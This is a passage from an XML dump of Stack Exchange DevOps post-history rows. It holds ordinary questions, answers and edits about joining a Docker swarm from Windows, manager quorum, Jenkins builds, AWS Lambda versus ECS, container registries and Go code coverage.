Error response from daemon: manager stopped: can't initialize raft node: rpc error: code = Unknown desc = could not connect to prospective new cluster member using its advertised address: rpc error: code = DeadlineExceeded desc = context deadline exceeded&#xD;&#xA;&#xD;&#xA;But, even with this error, on my cluster, if I run `docker node ls`, my node appears in the list:&#xD;&#xA;&#xD;&#xA;    8380zb5jeke0elwohr7aieke8     linuxkit-00155d00d946   Ready               Active&#xD;&#xA;&#xD;&#xA;But on my PC Docker thinks that it's not member of a cluster:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: This node is not a swarm manager. Use &quot;docker swarm init&quot; or &quot;docker swarm join&quot; to connect this node to swarm and try again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Docker version is different in the cluster and on my PC:&#xD;&#xA;&#xD;&#xA;* Cluster:&#xD;&#xA;  * Client: `17.09.1-ce`&#xD;&#xA;  * Server: `17.09.1-ce`&#xD;&#xA;* PC:&#xD;&#xA;  * Client: `18.03.1-ce`&#xD;&#xA;  * Server: `18.03.1-ce`&#xD;&#xA;&#xD;&#xA;Could the issue came from this?&#xD;&#xA;&#xD;&#xA;N.B.: I work with Bash on Ubuntu on Windows, but the result is the same on PowerShell.&#xD;&#xA;&#xD;&#xA;N.B. 2: I don't know if it's useful, but since Docker for Windows uses Hyper-V, I have a NAT interface: `10.0.75.0/24` (and the VM's IP address is `10.0.75.1`). I tried to use this interface as advertising address and listening address but the issue returned is the same   &#xD;&#xA;&#xD;&#xA;Does anybody already encounter this issue? Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks! :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13038" PostHistoryTypeId="1" PostId="4161" RevisionGUID="0931044e-30a7-49fb-9608-3191d8837bbb" CreationDate="2018-05-24T13:27:26.553" UserId="5058" Text="Join a Linux Docker swarm with a local Windows Docker for test purposes" ContentLicense="CC BY-SA 4.0" />
  <row Id="13039" PostHistoryTypeId="3" PostId="4161" RevisionGUID="0931044e-30a7-49fb-9608-3191d8837bbb" CreationDate="2018-05-24T13:27:26.553" UserId="5058" Text="&lt;docker&gt;&lt;windows&gt;&lt;linux&gt;&lt;docker-swarm&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13044" PostHistoryTypeId="2" PostId="4164" RevisionGUID="291d3840-bd1c-46bb-a812-6e3849d52b29" CreationDate="2018-05-24T16:51:24.720" UserId="7730" Text="The swarm protocol is not http, so you will not be able to pass it through a proxy. Swarm nodes need direct communication between each node on port 2377/tcp (or your configured swarm port), 7946/both, and 4789/udp. If you configure an overlay network with the secure option for IPSec, then you'll also need protocol 50 open between the nodes." ContentLicense="CC BY-SA 4.0" />
  <row Id="13045" PostHistoryTypeId="2" PostId="4165" RevisionGUID="85095c42-9427-4be8-9a12-cabe88fefae4" CreationDate="2018-05-24T17:01:48.617" UserId="7730" Text="You cannot mix docker engine versions on the swarm managers. They need to each be running the same version, particularly when adding, removing, promoting, and demoting nodes. When you need to upgrade the engine on the managers, you can upgrade the engines in place, without promote/demote, but I would strive to minimize the time in this state and avoid using any newer features in the swarm.&#xD;&#xA;&#xD;&#xA;Adding a second manager to a cluster is also not recommended. Should any issue occur, like the problem you're currently experiencing, you will lose quorum with only a single manager running. In effect, you've doubled the potential points of failure rather than creating an HA infrastructure. With quorum, you do need at least 3 nodes to be managers to have the ability to lose a single node. It's best to do this to an existing cluster by adding the additional managers first as workers, and then after you verify connectivity, promoting those nodes to managers." ContentLicense="CC BY-SA 4.0" />
  <row Id="13046" PostHistoryTypeId="50" PostId="3421" RevisionGUID="7d0eb9da-f3b9-4e78-bc25-71a4653dc3b2" CreationDate="2018-05-24T18:45:56.660" UserId="-1" />
  <row Id="13047" PostHistoryTypeId="2" PostId="4166" RevisionGUID="47855325-8771-4cea-ab1f-ba2d4e472c09" CreationDate="2018-05-24T19:37:10.820" UserId="8043" Text="I have a JMeter test I would like to run in JMeter that have some parameters.  I installed the performance-plugin for Jenkins to enable JMeter testing as described here:&#xD;&#xA;&#xD;&#xA;http://jenkinsci.github.io/performance-plugin/RunTests.html&#xD;&#xA;&#xD;&#xA;However, the instruction is not clear on how to enter command-line parameters which is essential for my test.  Here is what I got so far:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Is it possible at all to enter parameters to run my test?  Or does it have to be completely parameter free.  IE, I need to hardcode all parameters into the test itself?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/VGeJs.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13048" PostHistoryTypeId="1" PostId="4166" RevisionGUID="47855325-8771-4cea-ab1f-ba2d4e472c09" CreationDate="2018-05-24T19:37:10.820" UserId="8043" Text="Run JMeter Test in Jenkins with Parameters" ContentLicense="CC BY-SA 4.0" />
  <row Id="13049" PostHistoryTypeId="3" PostId="4166" RevisionGUID="47855325-8771-4cea-ab1f-ba2d4e472c09" CreationDate="2018-05-24T19:37:10.820" UserId="8043" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13050" PostHistoryTypeId="50" PostId="3951" RevisionGUID="24f0c505-e77d-4ddb-b5fa-78dc4a66e55c" CreationDate="2018-05-24T21:46:02.957" UserId="-1" />
  <row Id="13051" PostHistoryTypeId="2" PostId="4167" RevisionGUID="4be042e3-3273-4959-bfac-47606b1b2654" CreationDate="2018-05-25T04:08:23.643" UserId="8047" Text="My Organization is keeping only one git repository in bitbucket, that hosts multiple projects under same branch, Now I have to automate build process using Jenkin. I configured a webhooks that invoke on any push happening to  development branch. Now I have to generate a build based changed sub directory. Ex if any one committed code to Microservice2 to it will generate build for MS2.  Please let me know how we are achieve this using Jenkin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Niks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/h1TSo.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13052" PostHistoryTypeId="1" PostId="4167" RevisionGUID="4be042e3-3273-4959-bfac-47606b1b2654" CreationDate="2018-05-25T04:08:23.643" UserId="8047" Text="Jenkin - Monorepository build only changed folder" ContentLicense="CC BY-SA 4.0" />
  <row Id="13053" PostHistoryTypeId="3" PostId="4167" RevisionGUID="4be042e3-3273-4959-bfac-47606b1b2654" CreationDate="2018-05-25T04:08:23.643" UserId="8047" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13054" PostHistoryTypeId="2" PostId="4168" RevisionGUID="39ce3660-dda2-46da-ab07-51c9feae85e2" CreationDate="2018-05-25T05:06:45.747" UserId="8049" Text="I am using lambda in response to objects appearing on S3 buckets.  For me in my particular use case, there are around 600 triggers a day.  I have written our lambda functions to use their stdout as their log file, writing all key events to standard out in a semi-structured textual sentence mixed with key/value pairs for data values, and then feed the cloudwatch logs into splunk.&#xD;&#xA;&#xD;&#xA;Here is what I have found...&#xD;&#xA;&#xD;&#xA; 1. Lambdas will (occasionally) be triggered multiple times for the same object.&#xD;&#xA; 2. Lambdas will (sometimes) take noticeably longer to run than normal.&#xD;&#xA; 4. To see / diagnose issues caused by concurrent invocations that interfere with each other, the AWS Web Console doesn't do it. You need a tool like splunk.&#xD;&#xA; &#xD;&#xA;However, does the value of this work enable the use of ECS?  If you are able to run a container, you could use the lambda to create a task on a message queue, and then have worker containers consume messages on the queue.  That way, failures can reliably be handled - transients by failing and then being re-delivered; structural failures will end up in the dead letter queue, that will allow you to debug and understand the failure cause. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13055" PostHistoryTypeId="5" PostId="4168" RevisionGUID="baf6e8d8-398d-483c-b31b-803a76f7b9e2" CreationDate="2018-05-25T05:31:11.910" UserId="8049" Comment="added 433 characters in body" Text="I am using lambda in response to objects appearing on S3 buckets.  For me in my particular use case, there are around 600 triggers a day.  I have written our lambda functions to use their stdout as their log file, writing all key events to standard out in a semi-structured textual sentence mixed with key/value pairs for data values, and then feed the cloudwatch logs into splunk.&#xD;&#xA;&#xD;&#xA;Here is what I have found...&#xD;&#xA;&#xD;&#xA; 1. Lambdas will (occasionally) be triggered multiple times for the same object.&#xD;&#xA; 2. Lambdas will (sometimes) take noticeably longer to run than normal.&#xD;&#xA; 4. To see / diagnose issues caused by concurrent invocations that interfere with each other, the AWS Web Console doesn't do it. You need a tool like splunk.&#xD;&#xA; &#xD;&#xA;However, does the value of this work provide enough revenue to cover the costs of using ECS(Elastic Container Service) for your process management?  If you are able to run an ECS container, you could trigger the lambda on S3 object creation to create a message on an SQS message queue. Your ECS container is listening to your queue and when a message arrives, processes it just like within your lambda.  Its output to trigger the next stage is to pop a message onto the SQS queue handling the next task.&#xD;&#xA;&#xD;&#xA;This will solve a few problems for you, such as escaping the 5 minute maximum for Lambdas, and creating an easy way to retry failures.&#xD;&#xA;&#xD;&#xA;However, it will create a few new issues too.&#xD;&#xA;&#xD;&#xA; - Creating and deploying docker images is more work than editing lambda on the AWS console.&#xD;&#xA; - Infrastructure costs are more fixed in nature, rather than proportional to workload.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13056" PostHistoryTypeId="2" PostId="4169" RevisionGUID="0e4966d7-857c-42ce-aac6-b6575f1908de" CreationDate="2018-05-25T07:06:09.653" UserId="7999" Text="Am assuming you are familiar with Groovy at basic level. Well, you could do the following with Shell scripts too, but I have done something similar using native capabilities of Groovy.&#xD;&#xA;&#xD;&#xA; 1. Store changeset by running `git log ...`, those three dots mean you should go thru' git-log man page to check the options that will list the changed files with folder names.&#xD;&#xA; 2. Iterate thru' the changeset (from item 1) to identify the folder (microservice 2 or 3, 4, so on and so forth).&#xD;&#xA; 3. Once the service is identified, try and set few environment variables that can be reused in other scripts, if you want. Advantage with this approach is, you stand to have access to them until the completion of build.&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="13057" PostHistoryTypeId="50" PostId="3715" RevisionGUID="f8e265b5-38f8-47df-8104-966e4c3b7a72" CreationDate="2018-05-25T07:46:51.203" UserId="-1" />
  <row Id="13059" PostHistoryTypeId="5" PostId="4161" RevisionGUID="fc0bb6ce-372f-4270-bcf1-25acf9a0ee7b" CreationDate="2018-05-25T10:16:32.290" UserId="5058" Comment="added 1105 characters in body" Text="I'm currenlty trying to connect/join a Linux Docker Swarm cluster with my Windows machine in order to test a stack without sending the stack over and over to my test cluster under Linux. My problem is that I can't join the cluster with my Windows Docker.&#xD;&#xA;&#xD;&#xA;My cluster had initially 1 manager and 4 workers. I recently created and added a new manager to it in order to add my Windows Docker node as manager. With this, I shouldn't have any issue with the manager quorum (since my two managers will be always up, and my Windows Docker could be interrupted at any time).&#xD;&#xA;&#xD;&#xA;I configured my local firewall - and also on each nodes of my Linux cluster - to accept connections on ports (the following can be found at the end of [this documentation](https://docs.docker.com/engine/swarm/swarm-tutorial/)) :&#xD;&#xA;&#xD;&#xA;* TCP port 2377 for cluster management communications&#xD;&#xA;* TCP and UDP port 7946 for communication among nodes&#xD;&#xA;* UDP port 4789 for overlay network traffic&#xD;&#xA;&#xD;&#xA;The advertising network in my cluster is `192.168.0.0/24`, one of my manager's IP address is `192.168.0.100` and my PC's IP address is `192.168.0.143` (same network). They can ping each others and I tested the ports defined before.&#xD;&#xA;&#xD;&#xA;So, when I perform the `docker swarm join-token manager` on a manager I have something like this:&#xD;&#xA;&#xD;&#xA;    docker swarm join --token SWMTKN-1-27hzpcnek5... 192.168.0.200:2377&#xD;&#xA;&#xD;&#xA;If I copy/paste it to my PC:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: manager stopped: can't initialize raft node: rpc error: code = Unknown desc = could not connect to prospective new cluster member using its advertised address: rpc error: code = DeadlineExceeded desc = context deadline exceeded&#xD;&#xA;&#xD;&#xA;But, even with this error, on my cluster, if I run `docker node ls`, my node appears in the list:&#xD;&#xA;&#xD;&#xA;    8380zb5jeke0elwohr7aieke8     linuxkit-00155d00d946   Ready               Active&#xD;&#xA;&#xD;&#xA;But on my PC Docker thinks that it's not member of a cluster:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: This node is not a swarm manager. Use &quot;docker swarm init&quot; or &quot;docker swarm join&quot; to connect this node to swarm and try again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Docker version is different in the cluster and on my PC:&#xD;&#xA;&#xD;&#xA;* Cluster:&#xD;&#xA;  * Client: `17.09.1-ce`&#xD;&#xA;  * Server: `17.09.1-ce`&#xD;&#xA;* PC:&#xD;&#xA;  * Client: `18.03.1-ce`&#xD;&#xA;  * Server: `18.03.1-ce`&#xD;&#xA;&#xD;&#xA;Could the issue came from this?&#xD;&#xA;&#xD;&#xA;N.B.: I work with Bash on Ubuntu on Windows, but the result is the same on PowerShell.&#xD;&#xA;&#xD;&#xA;N.B. 2: I don't know if it's useful, but since Docker for Windows uses Hyper-V, I have a NAT interface: `10.0.75.0/24` (and the VM's IP address is `10.0.75.1`). I tried to use this interface as advertising address and listening address but the issue returned is the same   &#xD;&#xA;&#xD;&#xA;Does anybody already encounter this issue? Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks! :)&#xD;&#xA;&#xD;&#xA;**EDIT 1:** &#xD;&#xA;&#xD;&#xA;Disaggreeing with @BMitch's answer, after tests, I don't think there is any issue with the difference between managers' Docker versions.&#xD;&#xA;&#xD;&#xA;As I said in [my previous comment on BMitch's answer](https://devops.stackexchange.com/questions/4161/join-a-linux-docker-swarm-with-a-local-windows-docker-for-test-purposes/4165#comment5972_4165), I had to add the option `--advertise-addr 192.168.0.200` - which is my leader manager address - to the docker join command. Until this, I used `--advertise-addr 192.168.0.143`, my PC address.&#xD;&#xA;&#xD;&#xA;I hope it will help others.&#xD;&#xA;&#xD;&#xA;**EDIT 2:**&#xD;&#xA;&#xD;&#xA;If I run `docker info` on my PC I got this:&#xD;&#xA;&#xD;&#xA;    Swarm: active&#xD;&#xA;     NodeID: o9wehjcyhe3n6xxzy1epnhxdp&#xD;&#xA;     Error: rpc error: code = Unknown desc = The swarm does not have a leader. It's possible that too few managers are online. Make sure more than half of the managers are online.&#xD;&#xA;     Is Manager: true&#xD;&#xA;     Node Address: 192.168.0.200&#xD;&#xA;     Manager Addresses:&#xD;&#xA;      192.168.0.200:2377&#xD;&#xA;      192.168.0.200:2377&#xD;&#xA;      192.168.0.201:2377&#xD;&#xA;&#xD;&#xA;There are two managers with address `192.168.0.200:2377`." ContentLicense="CC BY-SA 4.0" />
  <row Id="13061" PostHistoryTypeId="50" PostId="3089" RevisionGUID="41095ab9-4c8e-4b49-9d0f-7ac52f9648d6" CreationDate="2018-05-25T14:47:30.793" UserId="-1" />
  <row Id="13062" PostHistoryTypeId="50" PostId="3722" RevisionGUID="692b241d-9c71-4aa4-b975-c5ee9fd6e7cc" CreationDate="2018-05-25T16:50:26.890" UserId="-1" />
  <row Id="13063" PostHistoryTypeId="50" PostId="1193" RevisionGUID="f73daca8-b975-4867-bb7b-cef3fed54b03" CreationDate="2018-05-25T17:51:44.170" UserId="-1" />
  <row Id="13064" PostHistoryTypeId="50" PostId="1422" RevisionGUID="c6b16fc5-f179-4997-9987-d57130a08593" CreationDate="2018-05-25T18:51:43.940" UserId="-1" />
  <row Id="13065" PostHistoryTypeId="2" PostId="4171" RevisionGUID="c8269b9f-89ec-47c0-956f-235566a88883" CreationDate="2018-05-25T20:02:54.443" UserId="8062" Text="Google Container Registry is a potential option.&#xD;&#xA;&#xD;&#xA; 1. Registry is private&#xD;&#xA; 2. Image layers are stored on a Google Cloud Storage bucket, which is encrypted by Google (RSA) and can be additionally encrypted with a client key (RSA)&#xD;&#xA; 3. Access control is granular down to each individual object stored on GCS bucket&#xD;&#xA; 4. Client-side authentication is enforced via oauth2. Clients configure docker to use the google cloud sdk as a credentials manager&#xD;&#xA; 5. Images are pulled via ssl connections&#xD;&#xA;&#xD;&#xA;The fact that the registry is part of Google's Cloud Platform also means you can build up to some other interesting things. For example, you could set up a VM to serve as reverse-proxy and set up the GCP firewall to only allow 443 from a certain set of IPs (like your clients' offices)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13066" PostHistoryTypeId="2" PostId="4172" RevisionGUID="533c6dd7-8ae3-4bb5-a9ed-d3b9a3a479e2" CreationDate="2018-05-25T21:23:55.647" UserId="8063" Text="I've a production Ubuntu that contains huge number of software and dependencies, I want to 'clone' that VPS into a Docker image to be able to replicate the same environment and distribute them in different servers.&#xD;&#xA;&#xD;&#xA;Is that possible without any hack?&#xD;&#xA;If yes, what are the big lines to follow?&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="13067" PostHistoryTypeId="1" PostId="4172" RevisionGUID="533c6dd7-8ae3-4bb5-a9ed-d3b9a3a479e2" CreationDate="2018-05-25T21:23:55.647" UserId="8063" Text="How can I convert production Lunix server into a docker Image or container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13068" PostHistoryTypeId="3" PostId="4172" RevisionGUID="533c6dd7-8ae3-4bb5-a9ed-d3b9a3a479e2" CreationDate="2018-05-25T21:23:55.647" UserId="8063" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13069" PostHistoryTypeId="2" PostId="4173" RevisionGUID="38c7b198-f07b-4f9c-a8c7-8c3688e47df0" CreationDate="2018-05-25T22:54:00.833" UserId="8064" Text="I'm coming from the dark side, compliance, and am looking to gain better knowledge on DevOps &amp; how to implement SOX controls on these processes. I'm hoping to build a good knowledge base in order to be able to recommend controls that will provide good assurance to the auditors while minimizing the impact on the actual operations. Also, so that when I meet with our internal DevOps teams, I can speak knowledgably on this.&#xD;&#xA;&#xD;&#xA;I've done some research through ISACA whitepapers and various other sources:&#xD;&#xA;&#xD;&#xA;https://www.oreilly.com/learning/compliance-as-code&#xD;&#xA;https://www.oreilly.com/webops-perf/free/devopssec.csp?intcmp=il-webops-free-product-na_new_site_compliance_as_code_text_cta&#xD;&#xA;https://www.contino.io/insights/why-devsecops-is-an-auditors-best-friend&#xD;&#xA;https://start.jcolemorrison.com/&#xD;&#xA;&#xD;&#xA;Do you have any other suggestions on resources for building control frameworks for DevOps workflows? Or just DevOps in general?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13070" PostHistoryTypeId="1" PostId="4173" RevisionGUID="38c7b198-f07b-4f9c-a8c7-8c3688e47df0" CreationDate="2018-05-25T22:54:00.833" UserId="8064" Text="DevOps SOX Compliance" ContentLicense="CC BY-SA 4.0" />
  <row Id="13071" PostHistoryTypeId="3" PostId="4173" RevisionGUID="38c7b198-f07b-4f9c-a8c7-8c3688e47df0" CreationDate="2018-05-25T22:54:00.833" UserId="8064" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13072" PostHistoryTypeId="5" PostId="4173" RevisionGUID="d79b2fb5-a491-463f-8406-dcb93d782268" CreationDate="2018-05-26T03:25:30.427" UserId="47" Comment="improved formatting" Text="I'm coming from the dark side, compliance, and am looking to gain better knowledge on DevOps &amp; how to implement SOX controls on these processes. I'm hoping to build a good knowledge base in order to be able to recommend controls that will provide good assurance to the auditors while minimizing the impact on the actual operations. Also, so that when I meet with our internal DevOps teams, I can speak knowledgably on this.&#xD;&#xA;&#xD;&#xA;I've done some research through ISACA whitepapers and various other sources:&#xD;&#xA;&#xD;&#xA;- https://www.oreilly.com/learning/compliance-as-code&#xD;&#xA;- https://www.oreilly.com/webops-perf/free/devopssec.csp?intcmp=il-webops-free-product-na_new_site_compliance_as_code_text_cta&#xD;&#xA;- https://www.contino.io/insights/why-devsecops-is-an-auditors-best-friend&#xD;&#xA;- https://start.jcolemorrison.com/&#xD;&#xA;&#xD;&#xA;Do you have any other suggestions on resources for building control frameworks for DevOps workflows? Or just DevOps in general?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13073" PostHistoryTypeId="5" PostId="290" RevisionGUID="e20b81b8-7a2e-407c-a26d-dab5e0aaa9d9" CreationDate="2018-05-26T03:32:32.710" UserId="47" Comment="added `tfs` tag" Text="Continuous-Integration (CI) is the process of merging developer's working code copies to a shared codebase frequently and test it to prevent or quickly identify and resolve integration problems. The idea is that developers write and commit small pieces of code and check several times a day if their code alterations break existing functionality.&#xD;&#xA;&#xD;&#xA;There are many (server) systems that facilitate continuous integration and the work they do is often also called continuous integration. This usually includes (but is not limited to) code compilation and executing unit and integration tests. Some often-used CI software includes:&#xD;&#xA;&#xD;&#xA; - [tag:Jenkins]&#xD;&#xA; - [tag:Travis-CI]&#xD;&#xA; - [tag:CircleCI]&#xD;&#xA; - [tag:TeamCity]&#xD;&#xA; - [tag:tfs]&#xD;&#xA; - [tag:Bamboo]&#xD;&#xA;&#xD;&#xA;A comparison of CI software can be found on [Wikipedia](https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software).&#xD;&#xA;&#xD;&#xA;Continuous-integration is generally seen as a first step to achieve [tag:continuous-delivery] and [tag:continuous-deployment], in what's commonly known as [tag:cicd] pipelines.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about continuous integration in general. For questions about specific CI software, it's best to use the tag for that system (if one exists).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13074" PostHistoryTypeId="2" PostId="4174" RevisionGUID="fead57df-9688-4d5a-8204-e3033bccc439" CreationDate="2018-05-26T03:58:11.643" UserId="47" Text="Microsoft's Team Foundation Server is a team-oriented software development toolset, including: IDE integration, version control, CI, agile tools.&#xD;&#xA;&#xD;&#xA;From [Team Foundation Server][1]:&#xD;&#xA;&#xD;&#xA;&gt; Team Foundation Server provides a set of collaborative software&#xD;&#xA;&gt; development tools that integrate with your existing IDE or editor thus&#xD;&#xA;&gt; enabling your cross-functional team to work effectively on software&#xD;&#xA;&gt; projects of all sizes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.visualstudio.com/tfs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13075" PostHistoryTypeId="1" PostId="4174" RevisionGUID="fead57df-9688-4d5a-8204-e3033bccc439" CreationDate="2018-05-26T03:58:11.643" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="13076" PostHistoryTypeId="2" PostId="4175" RevisionGUID="25e15cee-7311-4520-bdc2-2ff9666e345b" CreationDate="2018-05-26T03:58:11.643" UserId="47" Text="For questions about Microsoft's Team Foundation Server - a team-oriented software development toolset, including: IDE integration, version control, CI, agile tools." ContentLicense="CC BY-SA 4.0" />
  <row Id="13077" PostHistoryTypeId="1" PostId="4175" RevisionGUID="25e15cee-7311-4520-bdc2-2ff9666e345b" CreationDate="2018-05-26T03:58:11.643" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="13078" PostHistoryTypeId="5" PostId="4172" RevisionGUID="238e48c2-f6c0-455e-9548-ee435f5e683d" CreationDate="2018-05-26T03:59:32.857" UserId="47" Comment="added 2 characters in body; edited title" Text="I've a production Ubuntu that contains a huge number of software and dependencies, I want to 'clone' that VPS into a Docker image to be able to replicate the same environment and distribute them in different servers.&#xD;&#xA;&#xD;&#xA;Is that possible without any hack?&#xD;&#xA;If yes, what are the big lines to follow?&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="13079" PostHistoryTypeId="4" PostId="4172" RevisionGUID="238e48c2-f6c0-455e-9548-ee435f5e683d" CreationDate="2018-05-26T03:59:32.857" UserId="47" Comment="added 2 characters in body; edited title" Text="How can I convert production Linux server into a docker Image or container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13080" PostHistoryTypeId="4" PostId="4172" RevisionGUID="7dca4ff0-9aba-49f7-a315-5b0cdf8ea43d" CreationDate="2018-05-26T04:04:58.037" UserId="47" Comment="edited title" Text="How can I convert a production Linux server into a docker Image or container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13081" PostHistoryTypeId="50" PostId="3081" RevisionGUID="41f58b89-a272-4843-8310-02a21688df66" CreationDate="2018-05-26T05:53:30.453" UserId="-1" />
  <row Id="13082" PostHistoryTypeId="50" PostId="1517" RevisionGUID="b4b1350d-ddad-4fb7-9580-e2906fb3e81f" CreationDate="2018-05-26T07:53:29.847" UserId="-1" />
  <row Id="13083" PostHistoryTypeId="50" PostId="3199" RevisionGUID="f28b361b-18be-431b-bea5-98b3ea94adb2" CreationDate="2018-05-26T15:53:42.763" UserId="-1" />
  <row Id="13084" PostHistoryTypeId="50" PostId="3730" RevisionGUID="2f808016-4210-4f38-9642-7be95186ae52" CreationDate="2018-05-26T17:53:52.020" UserId="-1" />
  <row Id="13085" PostHistoryTypeId="50" PostId="3200" RevisionGUID="01b38447-a7b4-4e64-bd32-13c2b64601fc" CreationDate="2018-05-26T20:55:01.047" UserId="-1" />
  <row Id="13086" PostHistoryTypeId="50" PostId="3953" RevisionGUID="4d8c9db8-28da-499f-bfe1-e89037994df0" CreationDate="2018-05-26T21:55:00.993" UserId="-1" />
  <row Id="13087" PostHistoryTypeId="50" PostId="3056" RevisionGUID="ad60b425-3bf3-4459-9ed7-1fab33048917" CreationDate="2018-05-26T22:55:00.927" UserId="-1" />
  <row Id="13089" PostHistoryTypeId="50" PostId="3041" RevisionGUID="61a7d79a-30ea-4d1c-9492-493025a0d649" CreationDate="2018-05-26T23:55:00.933" UserId="-1" />
  <row Id="13090" PostHistoryTypeId="50" PostId="3127" RevisionGUID="8cb3b822-723e-442d-96da-3e6da0a4acd4" CreationDate="2018-05-27T01:55:03.050" UserId="-1" />
  <row Id="13093" PostHistoryTypeId="50" PostId="3317" RevisionGUID="1caafc33-e500-4f1b-88ae-f6accc88257e" CreationDate="2018-05-27T16:56:50.000" UserId="-1" />
  <row Id="13094" PostHistoryTypeId="50" PostId="1931" RevisionGUID="9ebeb41d-5a22-410e-9e1a-791d064fa1e6" CreationDate="2018-05-27T17:56:49.763" UserId="-1" />
  <row Id="13095" PostHistoryTypeId="2" PostId="4176" RevisionGUID="ac20f17b-9768-4b96-b80a-63addcddd3ba" CreationDate="2018-05-27T18:57:42.833" UserId="210" Text="Follow-up to [this Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;How to ensure that a certain minimal code coverage is reached in Golang? E.g. if the CI runs, the build should fail if the code coverage is less than X percent.&#xD;&#xA;&#xD;&#xA;In Java, one could use Jacoco and define a minimum code coverage. Other language like Python support minimum code coverage as well.&#xD;&#xA;&#xD;&#xA;One option is to simply create a bash script that parsers the output of `go test -cover`, but I would like to know if there is a off the shelf solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/10516662/2777965" ContentLicense="CC BY-SA 4.0" />
  <row Id="13096" PostHistoryTypeId="1" PostId="4176" RevisionGUID="ac20f17b-9768-4b96-b80a-63addcddd3ba" CreationDate="2018-05-27T18:57:42.833" UserId="210" Text="What Golang function could be used to enforce a minimum code coverage and return an Exit1 if false?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13097" PostHistoryTypeId="3" PostId="4176" RevisionGUID="ac20f17b-9768-4b96-b80a-63addcddd3ba" CreationDate="2018-05-27T18:57:42.833" UserId="210" Text="&lt;code-coverage&gt;&lt;go&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13098" PostHistoryTypeId="2" PostId="4177" RevisionGUID="37b3b3f4-de87-4580-bb4a-0d7ccc27fd5e" CreationDate="2018-05-27T18:59:11.820" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="13099" PostHistoryTypeId="1" PostId="4177" RevisionGUID="37b3b3f4-de87-4580-bb4a-0d7ccc27fd5e" CreationDate="2018-05-27T18:59:11.820" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="13100" PostHistoryTypeId="2" PostId="4178" RevisionGUID="159b24e4-eb46-44c4-8e7d-aab0741882e4" CreationDate="2018-05-27T18:59:11.820" UserId="210" Text="Use this tag if a question is about the programming language Go" ContentLicense="CC BY-SA 4.0" />
  <row Id="13101" PostHistoryTypeId="1" PostId="4178" RevisionGUID="159b24e4-eb46-44c4-8e7d-aab0741882e4" CreationDate="2018-05-27T18:59:11.820" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="13102" PostHistoryTypeId="2" PostId="4179" RevisionGUID="28749325-3cc0-4ae0-817b-647e46bb7dc2" CreationDate="2018-05-27T19:00:11.870" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="13103" PostHistoryTypeId="1" PostId="4179" RevisionGUID="28749325-3cc0-4ae0-817b-647e46bb7dc2" CreationDate="2018-05-27T19:00:11.870" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="13104" PostHistoryTypeId="2" PostId="4180" RevisionGUID="d8103e76-0444-4f46-bf60-63ffe015d4f5" CreationDate="2018-05-27T19:00:11.870" UserId="210" Text="Use this tag if a question is about code-coverage, i.e. a percentage of the main code that is covered by the tests" ContentLicense="CC BY-SA 4.0" />
  <row Id="13105" PostHistoryTypeId="1" PostId="4180" RevisionGUID="d8103e76-0444-4f46-bf60-63ffe015d4f5" CreationDate="2018-05-27T19:00:11.870" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="13106" PostHistoryTypeId="50" PostId="1746" RevisionGUID="b25b7538-e7c1-436f-b5fd-025a3b4a5d4d" CreationDate="2018-05-27T20:56:51.297" UserId="-1" />
